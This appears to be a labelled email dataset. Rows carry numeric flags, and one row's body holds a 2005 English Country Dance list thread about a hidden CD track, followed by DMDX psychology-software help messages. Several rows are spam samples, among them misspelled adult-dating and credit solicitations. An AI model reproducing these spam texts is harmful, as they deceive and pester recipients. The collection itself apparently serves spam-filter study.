locally available, fun and don't require hundreds of dollars in costumes = just to=20 get into it.     Tom ----- Original Message ----- From:=20 allisonthompson-AT-juno.com = To: ECD-AT-ssrl04.slac.stanford.edu= =20 Sent: Tuesday, September 20, = 2005 10:34=20 PM Subject: [ECD] Re: Fw: [ECD] = Pride and=20 Prejudice Why, yes, of course. Of course, a tad less physically amusing than = your=20 average SCA evening, but still, sure to win hearts everywhere. Get in = line and=20 do the following: Fans UP!: ""How Dare You Pollute the Shades of Pemberley, = Madam!"" Fans at 10%, in-Wards Facing: ""For what do we live, but for to make = fun of=20 others, and to be laughed at at our tunr?"" Fans at 0%, Outwards-Facing: ""You must allow me to tell you How = Ardently I=20 Admire You."" (Big Sex Scene here, in case you skipped = over it.) And, Fans at 180%, ""The Duello of Honor,"" sung Obbligatto by Mssrs=20 Willoughby, Brandon, Morland, and Bertram. Woo-hoo, boys, this'll = bring=20 'em in if nuthin will. A. Thompson   ------=_NextPart_000_0016_01C5BE92.BB6F3FA0-- ================================================================================ Archive-Date: Wed, 21 Sep 2005 07:14:42 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <002601c5beb6$c3cfd4b0$0301a8c0-AT-Hercules> From: ""Tom Vincent"" Reply-To: ECD-AT-playford.slac.stanford.edu To: Subject: [ECD] Pride & Prejudice Collection Volume 2 Date: Wed, 21 Sep 2005 10:12:31 -0400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0023_01C5BE94.FA334B30"" This is a multi-part message in MIME format. ------=_NextPart_000_0023_01C5BE94.FA334B30 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Does anyone know what song 19 on this Pemberly Players CD is? It runs = 7:30 and sounds familiar. The back of the CD only listed 17. Track 18 = is a minute or so of silence, so I figure that's related to the data = files on the CD. (PS - Funny that my spell checker suggests 'Puberty' as a replacement = for Pemberly!) -*-*-*-*-*-*-*-*-* Tom Vincent -*-*-*-*-*-*-*-*-* ""The right to a useful and remunerative job in the industries or shops = or farms or mines of the nation. ""The right to earn enough to provide adequate food and clothing and = recreation. ""The right of every farmer to raise and sell his products at a return = which will give him and his family a decent living. ""The right of every businessman, large and small, to trade in an = atmosphere of freedom from unfair competition and domination by = monopolies at home or abroad. ""The right of every family to a decent home. ""The right to adequate medical care and the opportunity to achieve and = enjoy good health. ""The right to adequate protection from the economic fears of old age, = sickness, accident and unemployment. ""The right to a good education."" - FDR's proposed Second Bill of Rights, Jan. 11, 1944 ------=_NextPart_000_0023_01C5BE94.FA334B30 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Does anyone know what song 19 on this = Pemberly=20 Players CD is?  It runs 7:30 and sounds familiar.  The back of = the CD=20 only listed 17.  Track 18 is a minute or so of silence, so I figure = that's=20 related to the data files on the CD.   (PS - Funny that my spell checker = suggests=20 'Puberty' as a replacement for Pemberly!)   -*-*-*-*-*-*-*-*-*Tom = Vincent   -*-*-*-*-*-*-*-*-*   ""The right to a useful and remunerative = job in the=20 industries or shops or farms or mines of the nation.   ""The right to earn enough to provide = adequate food=20 and clothing and recreation.   ""The right of every farmer to raise and = sell his=20 products at a return which will give him and his family a decent=20 living.   ""The right of every businessman, large = and small,=20 to trade in an atmosphere of freedom from unfair competition and = domination by=20 monopolies at home or abroad.   ""The right of every family to a decent=20 home.   ""The right to adequate medical care and = the=20 opportunity to achieve and enjoy good health.   ""The right to adequate protection from = the economic=20 fears of old age, sickness, accident and unemployment.   ""The right to a good = education.""   - FDR's proposed Second Bill of Rights, = Jan. 11,=20 1944 ------=_NextPart_000_0023_01C5BE94.FA334B30-- ================================================================================ Archive-Date: Wed, 21 Sep 2005 07:36:55 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <6.2.3.4.2.20050921093615.01dc67b8-AT-mail.mhtc.net> Date: Wed, 21 Sep 2005 09:36:26 -0500 To: ECD-AT-ssrl04.slac.stanford.edu From: ""M.G. Mudrey, Jr."" Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] Pride & Prejudice Collection Volume 2 References: <002601c5beb6$c3cfd4b0$0301a8c0-AT-Hercules> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""=====================_74631671==.ALT"" --=====================_74631671==.ALT Content-Type: text/plain; charset=""us-ascii""; format=flowed Sounded like Hunsdon House. At 9/21/2005 09:12 AM, you wrote: >Does anyone know what song 19 on this Pemberly Players CD is? It >runs 7:30 and sounds familiar. The back of the CD only listed >17. Track 18 is a minute or so of silence, so I figure that's >related to the data files on the CD. > >(PS - Funny that my spell checker suggests 'Puberty' as a >replacement for Pemberly!) > >-*-*-*-*-*-*-*-*-* >Tom Vincent > >-*-*-*-*-*-*-*-*-* > >""The right to a useful and remunerative job in the industries or >shops or farms or mines of the nation. > >""The right to earn enough to provide adequate food and clothing and >recreation. > >""The right of every farmer to raise and sell his products at a >return which will give him and his family a decent living. > >""The right of every businessman, large and small, to trade in an >atmosphere of freedom from unfair competition and domination by >monopolies at home or abroad. > >""The right of every family to a decent home. > >""The right to adequate medical care and the opportunity to achieve >and enjoy good health. > >""The right to adequate protection from the economic fears of old >age, sickness, accident and unemployment. > >""The right to a good education."" > >- FDR's proposed Second Bill of Rights, Jan. 11, 1944 M.G. Mudrey 106 Ravine Road Mount Horeb, WI 53572 mgmudrey-AT-mhtc.net 608-437-3701 --=====================_74631671==.ALT Content-Type: text/html; charset=""us-ascii"" Sounded like Hunsdon House. At 9/21/2005  09:12 AM, you wrote: Does anyone know what song 19 on this Pemberly Players CD is?  It runs 7:30 and sounds familiar.  The back of the CD only listed 17.  Track 18 is a minute or so of silence, so I figure that's related to the data files on the CD.   (PS - Funny that my spell checker suggests 'Puberty' as a replacement for Pemberly!)   -*-*-*-*-*-*-*-*-* Tom Vincent   -*-*-*-*-*-*-*-*-*   ""The right to a useful and remunerative job in the industries or shops or farms or mines of the nation.   ""The right to earn enough to provide adequate food and clothing and recreation.   ""The right of every farmer to raise and sell his products at a return which will give him and his family a decent living.   ""The right of every businessman, large and small, to trade in an atmosphere of freedom from unfair competition and domination by monopolies at home or abroad.   ""The right of every family to a decent home.   ""The right to adequate medical care and the opportunity to achieve and enjoy good health.   ""The right to adequate protection from the economic fears of old age, sickness, accident and unemployment.   ""The right to a good education.""   - FDR's proposed Second Bill of Rights, Jan. 11, 1944 M.G. Mudrey 106 Ravine Road Mount Horeb, WI 53572 mgmudrey-AT-mhtc.net 608-437-3701 --=====================_74631671==.ALT-- ================================================================================ Archive-Date: Wed, 21 Sep 2005 08:37:14 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 Message-ID: References: <002801c59e88$d152c2d0$d6250744-AT-CX980032A> Date: Wed, 21 Sep 2005 08:36:53 -0700 To: ECD-AT-ssrl04.slac.stanford.edu From: Beth Zekley Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] Gene Murrow Weekend, San Diego Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" >Mark Your Calendars!!! > > >February 3, 4 & 5, 2006 > >The San Diego English Country Dance Community hosts a weekend of workshops >(dance, music & calling) and evening dances. > >with guest caller, teacher & musician GENE MURROW > >Agenda and cost to be finalized at the end of this month (flyers to go out >at the end of August). > >When it is cold and snowy and the temperature dips below zero or it's been >rainy and damp for too many days > >remember - San Diego is basking in 65 degree weather and more often than not >it is sunny outside. > >Come dance and play in this vacation mecca. > >Check out our web site for more details at www.sdecd.org > > > >Janet Arnold -- Musically yours, Beth Zekley *** LARK CAMP *** PO Box 1176 Mendocino, California 95460 USA Lark Camp Phone (707) 964-4826 email beth-AT-larkcamp.com Lark Camp Website http://www.larkcamp.com Mickie & Elizabeth Website http://www.celticweddingmusic.net *** MENDOCINO ENGLISH COUNTRY DANCES *** http://www.larkcamp.com/mendoengdance.htm Phone (707) 964-4826 ================================================================================ Archive-Date: Wed, 21 Sep 2005 08:46:31 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 Message-ID: References: <002801c59e88$d152c2d0$d6250744-AT-CX980032A> Date: Wed, 21 Sep 2005 08:46:13 -0700 To: ECD-AT-ssrl04.slac.stanford.edu From: Beth Zekley Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] OOPS Gene Murrow Weekend, San Diego Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Oops! My apologies, I thought I deleted that last email, not sent it to the list - I meant to contact Janet directly. Beth >>Mark Your Calendars!!! >> >> >>February 3, 4 & 5, 2006 >> >>The San Diego English Country Dance Community hosts a weekend of workshops >>(dance, music & calling) and evening dances. >> >>with guest caller, teacher & musician GENE MURROW >> >>Agenda and cost to be finalized at the end of this month (flyers to go out >>at the end of August). >> >>When it is cold and snowy and the temperature dips below zero or it's been >>rainy and damp for too many days >> >>remember - San Diego is basking in 65 degree weather and more often than not >>it is sunny outside. >> >>Come dance and play in this vacation mecca. >> >>Check out our web site for more details at www.sdecd.org >> >> >>Janet Arnold -- Musically yours, Beth Zekley *** LARK CAMP *** PO Box 1176 Mendocino, California 95460 USA Lark Camp Phone (707) 964-4826 email beth-AT-larkcamp.com Lark Camp Website http://www.larkcamp.com Mickie & Elizabeth Website http://www.celticweddingmusic.net *** MENDOCINO ENGLISH COUNTRY DANCES *** http://www.larkcamp.com/mendoengdance.htm Phone (707) 964-4826 ================================================================================ Archive-Date: Wed, 21 Sep 2005 09:21:05 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 From: ""allisonthompson-AT-juno.com"" Reply-To: ECD-AT-playford.slac.stanford.edu Date: Wed, 21 Sep 2005 16:19:53 GMT To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] Pride & Prejudice Collection Volume 2 Content-Type: multipart/alternative;boundary=""--__JWM__J41c6.167eS.2781M"" Message-ID: <20050921.092005.28139.539221-AT-webmail38.nyc.untd.com> ----__JWM__J41c6.167eS.2781M Content-Disposition: inline Content-Type: text/plain I asked David. It's never love thee more. -- ""M.G. Mudrey, Jr."" wrote: Sounded like Hunsdon House. At 9/21/2005 09:12 AM, you wrote: Does anyone know what song 19 on this Pemberly Players CD is? It runs 7:30 and sounds familiar. The back of the CD only listed 17. Track 18 is a minute or so of silence, so I figure that's related to the data files on the CD. (PS - Funny that my spell checker suggests 'Puberty' as a replacement for Pemberly!) -*-*-*-*-*-*-*-*-* Tom Vincent -*-*-*-*-*-*-*-*-* ""The right to a useful and remunerative job in the industries or shops or farms or mines of the nation. ""The right to earn enough to provide adequate food and clothing and recreation. ""The right of every farmer to raise and sell his products at a return which will give him and his family a decent living. ""The right of every businessman, large and small, to trade in an atmosphere of freedom from unfair competition and domination by monopolies at home or abroad. ""The right of every family to a decent home. ""The right to adequate medical care and the opportunity to achieve and enjoy good health. ""The right to adequate protection from the economic fears of old age, sickness, accident and unemployment. ""The right to a good education."" - FDR's proposed Second Bill of Rights, Jan. 11, 1944M.G. Mudrey 106 Ravine Road Mount Horeb, WI 53572 mgmudrey-AT-mhtc.net 608-437-3701 ----__JWM__J41c6.167eS.2781M Content-Disposition: inline Content-Type: text/html I asked David. It's never love thee more.-- ""M.G. Mudrey, Jr.""  wrote:Sounded like Hunsdon House.At 9/21/2005  09:12 AM, you wrote: Does anyone know what song 19 on this Pemberly Players CD is?  It runs 7:30 and sounds familiar.  The back of the CD only listed 17.  Track 18 is a minute or so of silence, so I figure that's related to the data files on the CD. (PS - Funny that my spell checker suggests 'Puberty' as a replacement for Pemberly!) -*-*-*-*-*-*-*-*-*Tom Vincent -*-*-*-*-*-*-*-*-* ""The right to a useful and remunerative job in the industries or shops or farms or mines of the nation. ""The right to earn enough to provide a! dequate food and clothing and recreation. ""The right of every farmer to raise and sell his products at a return which will give him and his family a decent living. ""The right of every businessman, large and small, to trade in an atmosphere of freedom from unfair competition and domination by monopolies at home or abroad. ""The right of every family to a decent home. ""The right to adequate medical care and the opportunity to achieve and enjoy good health. ""The right to adequate protection from the economic fears of old age, sickness, accident and unemployment. ""The right to a good education. "" - FDR's proposed Second Bill of Rights, Jan. 11, 1944 M.G. Mudrey106 Ravine RoadMount Horeb, WI 53572mgmudrey-AT-mhtc.net608-437-3701 ----__JWM__J41c6.167eS.2781M-- ================================================================================ Archive-Date: Wed, 21 Sep 2005 09:48:11 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <6.2.3.4.2.20050921114652.01e2a338-AT-mail.mhtc.net> Date: Wed, 21 Sep 2005 11:47:47 -0500 To: ECD-AT-ssrl04.slac.stanford.edu From: ""M.G. Mudrey, Jr."" Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] Pride & Prejudice Collection Volume 2 References: <20050921.092005.28139.539221-AT-webmail38.nyc.untd.com> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""=====================_82515015==.ALT"" --=====================_82515015==.ALT Content-Type: text/plain; charset=""us-ascii""; format=flowed Thanks... I too thought I recognized it...but my memory is failing more and more!! At 9/21/2005 11:19 AM, you wrote: >I asked David. It's never love thee more. > >-- ""M.G. Mudrey, Jr."" wrote: >Sounded like Hunsdon House. > >At 9/21/2005 09:12 AM, you wrote: >>Does anyone know what song 19 on this Pemberly Players CD is? It >>runs 7:30 and sounds familiar. The back of the CD only listed >>17. Track 18 is a minute or so of silence, so I figure that's >>related to the data files on the CD. >> >>(PS - Funny that my spell checker suggests 'Puberty' as a >>replacement for Pemberly!) >> >>-*-*-*-*-*-*-*-*-* >>Tom Vincent >> >>-*-*-*-*-*-*-*-*-* >> >>""The right to a useful and remunerative job in the industries or >>shops or farms or mines of the nation. >> >>""The right to earn enough to provide a! dequate food and clothing >>and recreation. >> >>""The right of every farmer to raise and sell his products at a >>return which will give him and his family a decent living. >> >>""The right of every businessman, large and small, to trade in an >>atmosphere of freedom from unfair competition and domination by >>monopolies at home or abroad. >> >>""The right of every family to a decent home. >> >>""The right to adequate medical care and the opportunity to achieve >>and enjoy good health. >> >>""The right to adequate protection from the economic fears of old >>age, sickness, accident and unemployment. >> >>""The right to a good education. "" >> >>- FDR's proposed Second Bill of Rights, Jan. 11, 1944 > >M.G. Mudrey >106 Ravine Road >Mount Horeb, WI 53572 > >mgmudrey-AT-mhtc.net >608-437-3701 M.G. Mudrey 106 Ravine Road Mount Horeb, WI 53572 mgmudrey-AT-mhtc.net 608-437-3701 --=====================_82515015==.ALT Content-Type: text/html; charset=""us-ascii"" Thanks... I too thought I recognized it...but my memory is failing more and more!! At 9/21/2005  11:19 AM, you wrote: I asked David. It's never love thee more. -- ""M.G. Mudrey, Jr."" wrote: Sounded like Hunsdon House. At 9/21/2005  09:12 AM, you wrote: Does anyone know what song 19 on this Pemberly Players CD is?  It runs 7:30 and sounds familiar.  The back of the CD only listed 17.  Track 18 is a minute or so of silence, so I figure that's related to the data files on the CD.   (PS - Funny that my spell checker suggests 'Puberty' as a replacement for Pemberly!)   -*-*-*-*-*-*-*-*-* Tom Vincent   -*-*-*-*-*-*-*-*-*   ""The right to a useful and remunerative job in the industries or shops or farms or mines of the nation.   ""The right to earn enough to provide a! dequate food and clothing and recreation.   ""The right of every farmer to raise and sell his products at a return which will give him and his family a decent living.   ""The right of every businessman, large and small, to trade in an atmosphere of freedom from unfair competition and domination by monopolies at home or abroad.   ""The right of every family to a decent home.   ""The right to adequate medical care and the opportunity to achieve and enjoy good health.   ""The right to adequate protection from the economic fears of old age, sickness, accident and unemployment.   ""The right to a good education. ""   - FDR's proposed Second Bill of Rights, Jan. 11, 1944 M.G. Mudrey 106 Ravine Road Mount Horeb, WI 53572 mgmudrey-AT-mhtc.net 608-437-3701 M.G. Mudrey 106 Ravine Road Mount Horeb, WI 53572 mgmudrey-AT-mhtc.net 608-437-3701 --=====================_82515015==.ALT-- ================================================================================ Archive-Date: Wed, 21 Sep 2005 10:01:14 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <20050921170058.89521.qmail-AT-web52614.mail.yahoo.com> Date: Wed, 21 Sep 2005 10:00:58 -0700 (PDT) From: Tom Vincent Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] Pride & Prejudice Collection Volume 2 To: ECD-AT-ssrl04.slac.stanford.edu MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Thanks, Allison! Kinda cool to find a hidden track on the CD...haven't checked to see if track 19 plays on a regular CD player yet. I was ripping the songs to MP3 and found the two extra tracks. Tom --- ""allisonthompson-AT-juno.com"" wrote: > I asked David. It's never love thee more. > > -- ""M.G. Mudrey, Jr."" wrote: > Sounded like Hunsdon House. > > At 9/21/2005 09:12 AM, you wrote: > Does anyone know what song 19 on this Pemberly Players CD is? It > runs 7:30 and sounds familiar. The back of the CD only listed 17. > Track 18 is a minute or so of silence, so I figure that's related to > the data files on the CD. > > (PS - Funny that my spell checker suggests 'Puberty' as a replacement > for Pemberly!) > > -*-*-*-*-*-*-*-*-* > Tom Vincent > > -*-*-*-*-*-*-*-*-* > > ""The right to a useful and remunerative job in the industries or > shops or farms or mines of the nation. > > ""The right to earn enough to provide adequate food and clothing and > recreation. > > ""The right of every farmer to raise and sell his products at a return > which will give him and his family a decent living. > > ""The right of every businessman, large and small, to trade in an > atmosphere of freedom from unfair competition and domination by > monopolies at home or abroad. > > ""The right of every family to a decent home. > > ""The right to adequate medical care and the opportunity to achieve > and enjoy good health. > > ""The right to adequate protection from the economic fears of old age, > sickness, accident and unemployment. > > ""The right to a good education."" > > - FDR's proposed Second Bill of Rights, Jan. 11, 1944M.G. Mudrey > 106 Ravine Road > Mount Horeb, WI 53572 > > mgmudrey-AT-mhtc.net > 608-437-3701 > > > -*-*-*-*-*-*-*-*-* Tom Vincent -*-*-*-*-*-*-*-*-* ""The test of our progress is not whether we add more to the abundance of those who have much; it is whether we provide enough for those who have too little."" - Franklin Roosevelt ================================================================================ Archive-Date: Wed, 21 Sep 2005 10:05:50 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu From: Russiababy-AT-aol.com Reply-To: ECD-AT-playford.slac.stanford.edu Message-ID: <1c7.315ceaec.3062ecc2-AT-aol.com> Date: Wed, 21 Sep 2005 13:05:06 EDT Subject: [ECD] Fwd: Cambridge VFW meeting October 18!!! Thanks, everybody To: ECD-AT-ssrl04.slac.stanford.edu MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""part1_1c7.315ceaec.3062ecc2_boundary"" --part1_1c7.315ceaec.3062ecc2_boundary Content-Type: multipart/alternative; boundary=""-----------------------------1127322306"" -------------------------------1127322306 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit -------------------------------1127322306 Content-Type: text/html; charset=""US-ASCII"" Content-Transfer-Encoding: quoted-printable   -------------------------------1127322306-- --part1_1c7.315ceaec.3062ecc2_boundary Content-Type: message/rfc822 Content-Disposition: inline",0,1 Sarah Neilson ,"DMDX@psy1.psych.arizona.edu, alissa@psy1.psych.arizona.edu, don@psy1.psych.arizona.edu, bobbie@psy1.psych.arizona.edu, brandy@psy1.psych.arizona.edu","Sat, 10 Sep 2005 19:55:39 -0500",are you lean,"some cacti a wormy a labile it's nicholson try apathetic ",1,0 Steve Keckler ,cs382m@lists.cc.utexas.edu,"Sun, 11 Sep 2005 21:28:08 -0500",[CS382M:2] Reading,"CS382m-ers, We will be discussing the Moore paper tomorrow (Monday) in class. Since it was on the schedule for last week, I expect you to have already read it and to be prepared to discuss. See you tomorrow. SK Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 Carlo ,arl-announce@arl.org,"Mon, 12 Sep 2005 01:47:04 -0400","Warning, spammers!","Get acccesss to our growinng databaase of atttached and h-rny ..=h0usewiiivezz=..! Meet neeglected Women who are hungrrry for a little affffection and good, =HqAwReD =FvUtCrKsIdNvG=! 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DMDX help yields no answers so it probably can't be done, but I thought I'd give it a shot here. Thanks, Deb Kerr -- Deborah L. Kerr Department of Psychology University of Wisconsin-Madison 1202 W. Johnson Street Rm 626 ~ W. M. Keck Laboratory Waisman Center University of Wisconsin-Madison 1500 Highland Avenue Rm S117D Madison, WI 53705 https://mywebspace.wisc.edu/dkerr/web/ Phone: 314-302-8386 (cell) Email: dkerr@wisc.edu ",0,1 Arunkumar Thangavel ,DMDX@psy1.psych.arizona.edu,"Tue, 13 Sep 2005 09:40:27 +0530",[DMDX] Simon task,"Dear Sir, Thank you for your software DMDX. I have been using this software for many research papers. Even I am using this software for my thesis work. Currently I am working on Simon task and stuttering. In my experiment I need to present two rectangles of two colors like green and yellow in two corners of the monitor. The subjects response would be pressing ""m"" key for green and ""Z"" key for green. I made the rectangles MSPaint and saved as two different bmp files, and I wrote the key as follows (just an example): 0 ""press space"" /; +1 * ""red"" / ""green"" /; 0 ""THANKS"" /; but DMDX displays only the green on the left side of the monitor. Kindly help me in solving this problem. who ever works on ""Simon Task"" can help me. Your help would be appreciated. Thanking you. -- B.Arunkumar Thangavel Junior Research Fellow All India Institute of Speech and Hearing Naimisham Campus Manasagangothri Mysore 570 006 Karnataka INDIA Ph: 91 821 2514449",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 12 Sep 2005 21:58:39 -0700",[DMDX] Re: Saving data from script that does not run to the end,"At 09:06 PM 9/12/2005 -0500, you wrote: >Hi there, > >If a script doesn t complete running, e.g it bombs out for some reason, is >there any way to still get some kind of working data file from it? DMDX >help yields no answers so it probably can t be done, but I thought I d >give it a shot here. If you read the DMDX documentation in the File Generated section you'll find that JOB1.ZIL is the temporary output file and this will have your data: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhfilesgenerated.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Integrity has no need for rules. ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 12 Sep 2005 22:10:21 -0700",[DMDX] Re: Simon task,"At 09:40 AM 9/13/2005 +0530, you wrote: >Dear Sir, >Thank you for your software DMDX. I have been using this software for >many research papers. Even I am using this software for my thesis >work. > >Currently I am working on Simon task and stuttering. In my experiment >I need to present two rectangles of two colors like green and yellow >in two corners of the monitor. The subjects response would be pressing >""m"" key for green and ""Z"" key for green. I made the rectangles >MSPaint and saved as two different bmp files, and I wrote the key as >follows (just an example): > > > >0 ""press space"" /; > >+1 * ""red"" / ""green"" >/; > >0 ""THANKS"" /; > >but DMDX displays only the green on the left side of the monitor. >Kindly help me in solving this problem. > who ever works on ""Simon Task"" can help me. Your help would be appreciat Well you've specified that the two rectangles are to be drawn nearly on top of each other so you'll only be seeing the second one of them. And doesn't mean anything with bitmaps. Typically when I'm displaying bitmaps in the fashion you're describing I set to 1 so coordinates represent the middle of images and I use the fractional coordinate system like this: 0 ""press space"" /; +1 * ""red"" / ""green"" /; 0 ""THANKS"" /; Be aware that if you try and put an image too far off the screen (sometimes any amount off the screen) it won't be displayed. You're also using the default video mode which is generally a bad idea these days unless you're using really old hardware. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Integrity has no need for rules.",0,0 """Deborah L. Kerr"" ",DMDX@psy1.psych.arizona.edu,"Tue, 13 Sep 2005 00:34:12 -0500",[DMDX] RE: Re: Saving data from script that does not run to the end,"WONDERFUL THANKS! -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of j.c.f. Sent: Monday, September 12, 2005 11:59 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Saving data from script that does not run to the end At 09:06 PM 9/12/2005 -0500, you wrote: >Hi there, > >If a script doesn t complete running, e.g it bombs out for some reason, is >there any way to still get some kind of working data file from it? DMDX >help yields no answers so it probably can t be done, but I thought I d >give it a shot here. If you read the DMDX documentation in the File Generated section you'll find that JOB1.ZIL is the temporary output file and this will have your data: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhfilesgenerated.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Integrity has no need for rules. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ",0,1 Edric Urban ,DMDX@psy1.psych.arizona.edu,"Mon, 12 Sep 2005 20:24:25 -0700",Re: uyyut news,"D a ear Home Ow z ne k r , Your cr j edi c t doesn't matter to us ! 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I learned to write the script file and corrected most of the errors by referring to the postings on the ListServ and the DMDX Help. However, when I tested myself (using a Compaq Presario 2800 laptop), I found the mice (both touchpad and USB) didn't work. The mice work in all other conditions but they seem to go to sleep when I run the experiment. The strange thing is the SpaceBar works. When all means failed, I tried to map the Shift buttons on the keyboard, instead of using a mouse. But they didn't work either. It appears that only the SpaceBar works. I am not sure if it's caused by any mistakes I made in the script. The laptop I use is one with some button names in Chinese. I found out the button names by doing the input test in the TimeDX. The number (#0, #1, #2) of the two input devices' buttons was not found on input devices when I ran a syntax check. Here is part of my script. 0 ""Press SPACEBAR to start.""; +1 / * ""sun"" / ""sun"" / / ; -2 / * ""lip""/ ""book"" / / ; -3 / * ""banana""/ ""apple"" / / ; +4 / * ""ice cream""/ ""ice cream"" / /; .... .... I suspect something might have gone wrong so I ran the diagnostics. Here's the info I've got. .... .... EXPERIMENT READY 24 video memory buffers at 800x600 16 bpp Preparation A 48.63ms, B 0.00ms 0 ""Press SPACEBAR to start.""; Display error at msec 544.36, tick 32 in item 0, frame ""Press SPACEBAR to start."" moved into video memory 12 ticks late (previous frame's duration will have been longer) -- possibly caused by another process taking 1 tick Preparation A 0.18ms, B 3.26ms +1 ""sun"" / * ""sun"" /! /; DQ adjusted by 1 ticks to allow for sound Item 1 RT -7000.00 -- Error Rate 100% Preparation A 235.44ms, B 97.73ms -2 ""lip"" / * ""book"" /! /; DQ adjusted by 1 ticks to allow for sound Item 2 RT -7000.00 -- Error Rate 100% Display error at msec 21590.50, tick 1317 in item 2, frame ""book"" moved into video memory 250 ticks late (previous frame's duration will have been longer) -- possibly caused by another process taking 5 ticks Preparation A 310.88ms, B 129.13ms -3 ""banana"" / * ""apple"" /! /; DQ adjusted by 1 ticks to allow for sound Item 3 RT -7000.00 -- Error Rate 100% Display error at msec 29072.37, tick 1772 in item 3, frame ""apple"" moved into video memory 250 ticks late (previous frame's duration will have been longer) -- possibly caused by another process taking 5 ticks ... ... I noticed that both the display error and tick increased as the experiment went on. But the number of ticks-late when a frame moved into video memory was ranged between 234 and 251. Later I changed the header parameters to thinking that it might help. But it didn't. The result of running a diagnostics is about the same as mentioned above. Could anyone tell me what to do? Thanks a lot. Cheers, Daphne --------------------------------- Yahoo! Messenger NEW - crystal clear PC to PC calling worldwide with voicemail",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 14 Sep 2005 08:33:04 -0700",[DMDX] Re: interrupt device didn't work!,"Your display errors will be fixed by removing the delay parameter altogether. Unless you have a real need for a fixed ISI don't use D. As for the input devices if you turn on there will be a whole bunch of information in diagnostics.txt helping us determine what's gone wrong. Pretty odd that we're not getting errors about mappings that aren't found but I'm betting it's related to your positive response mapping not having a + in front of it, should be . Typically with non-english input devices its best to use the # versions of them instead of their named versions, instead of . Then you can use things like -- but be careful if you use more than one # input device as you'll have two #0 buttons and won't be able to map buttons on the second device... At 08:09 AM 9/14/2005 +0100, you wrote: >Hi, > >I am a new user of DMDX. I learned to write the script file and corrected >most of the errors by referring to the postings on the ListServ and the >DMDX Help. However, when I tested myself (using a Compaq Presario 2800 >laptop), I found the mice (both touchpad and USB) didn't work. The mice >work in all other conditions but they seem to go to sleep when I run the >experiment. The strange thing is the SpaceBar works. Because you only unmap the positive and negative response keys but not the requests. > When all means failed, I tried to map the Shift buttons on the keyboard, > instead of using a mouse. But they didn't work either. It appears that > only the SpaceBar works. > >I am not sure if it's caused by any mistakes I made in the script. The >laptop I use is one with some button names in Chinese. I found out the >button names by doing the input test in the TimeDX. The number (#0, #1, >#2) of the two input devices' buttons was not found on input devices when >I ran a syntax check. > >Here is part of my script. > +Space> 255255255> >0 ""Press SPACEBAR to start.""; >+1 / * ""sun"" / ""sun"" / / ; >-2 / * ""lip""/ ""book"" / / ; >-3 / * ""banana""/ ""apple"" / / ; >+4 / * ""ice cream""/ ""ice cream"" / 1000> /; >.... >.... > >I suspect something might have gone wrong so I ran the diagnostics. Here's >the info I've got. >.... >.... >EXPERIMENT READY >24 video memory buffers at 800x600 16 bpp >Preparation A 48.63ms, B 0.00ms >0 ""Press SPACEBAR to start.""; >Display error at msec 544.36, tick 32 in item 0, frame ""Press SPACEBAR to >start."" >moved into video memory 12 ticks late >(previous frame's duration will have been longer) >-- possibly caused by another process taking 1 tick >Preparation A 0.18ms, B 3.26ms >+1 ""sun"" / * ""sun"" /! /; >DQ adjusted by 1 ticks to allow for sound >Item 1 RT -7000.00 -- Error Rate 100% >Preparation A 235.44ms, B 97.73ms >-2 ""lip"" / * ""book"" /! /; >DQ adjusted by 1 ticks to allow for sound >Item 2 RT -7000.00 -- Error Rate 100% >Display error at msec 21590.50, tick 1317 in item 2, frame ""book"" >moved into video memory 250 ticks late >(previous frame's duration will have been longer) >-- possibly caused by another process taking 5 ticks >Preparation A 310.88ms, B 129.13ms >-3 ""banana"" / * ""apple"" /! /; >DQ adjusted by 1 ticks to allow for sound >Item 